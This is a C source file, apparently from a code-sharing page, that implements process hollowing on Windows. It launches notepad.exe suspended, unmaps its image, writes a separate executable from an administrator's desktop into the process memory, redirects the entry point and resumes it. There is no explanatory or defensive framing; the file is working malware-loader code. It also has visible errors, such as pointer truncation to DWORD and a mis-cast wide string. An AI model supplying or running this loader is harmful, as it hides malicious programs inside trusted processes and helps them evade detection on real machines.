1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <malloc.h>
int main() { STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); LPCWSTR target = (LPCWSTR)L"C:\\Windows\\System32\\notepad.exe";
if (!CreateProcess((char*)target, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("CreateProcess failed (%d).\n", GetLastError()); return -1; }
PTCHAR myPro = (PTCHAR)L"C:\\Users\\Administrator\\Desktop\\myPro.exe"; HANDLE hFile = CreateFile(myPro, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("OpenFile failed (%d).\n", GetLastError()); return -1; } DWORD dwsize = GetFileSize(hFile, NULL); LPBYTE pAllocPE = NULL; PBYTE pBuf = (PBYTE)malloc(dwsize); DWORD dwRead = 0; ReadFile(hFile, (LPVOID)pBuf, dwsize, &dwRead, NULL); PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBuf + pDos->e_lfanew);
CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL; if(GetThreadContext(pi.hThread, &ctx) == 0) { printf("GetThreadContext failed (%d).\n", GetLastError()); return -1; }
DWORD dwProcessBaseAddress = 0; if(ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rbx + 8), &dwProcessBaseAddress, sizeof(DWORD), NULL) == 0) { printf("ReadProcessMemory failed (%d).\n", GetLastError()); return -1; } HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll")); if(hNtModule == NULL) { printf("GetModuleHandle failed (%d).\n", GetLastError()); return -1; } NtUnmapViewOfSection pfnZwUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(hNtModule, "ZwUnmapViewOfSection"); if(pfnZwUnmapViewOfSection == NULL) { printf("GetProcAddress failed (%d).\n", GetLastError()); return -1; } if(pfnZwUnmapViewOfSection(pi.hProcess, (PVOID)dwProcessBaseAddress) == 0) { printf("Clean Process failed (%d).\n", GetLastError()); return -1; }
void* lpAddr = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(lpAddr == NULL) { printf("VirtualAllocEx failed (%d).\n", GetLastError()); return -1; }
if(WriteProcessMemory(pi.hProcess, lpAddr, (LPCVOID)pBuf, pNt->OptionalHeader.SizeOfHeaders, NULL) == 0) { printf("WriteProcessMemory failed (%d).\n", GetLastError()); return -1; } LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); PIMAGE_SECTION_HEADER pSectionHeader; DWORD dwIndex = 0; for(dwIndex = 0; dwIndex < pNt->FileHeader.NumberOfSections; dwIndex++) { pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr; if(WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress), (LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL) == 0) { printf("WriteProcessMemory failed (%d).\n", GetLastError()); return -1; } lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER)); }
DWORD dwImageBase = pNt->OptionalHeader.ImageBase; if(WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Rbx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL) == 0) { printf("WriteProcessMemory failed (%d).\n", GetLastError()); return -1; } ctx.Rax = dwImageBase + pNt->OptionalHeader.AddressOfEntryPoint; if(SetThreadContext(pi.hThread, &ctx) == 0) { printf("SetThreadContext failed (%d).\n", GetLastError()); return -1; } ResumeThread(pi.hThread);
printf("PID: %d", pi.dwProcessId); free(pBuf); return 0; }
|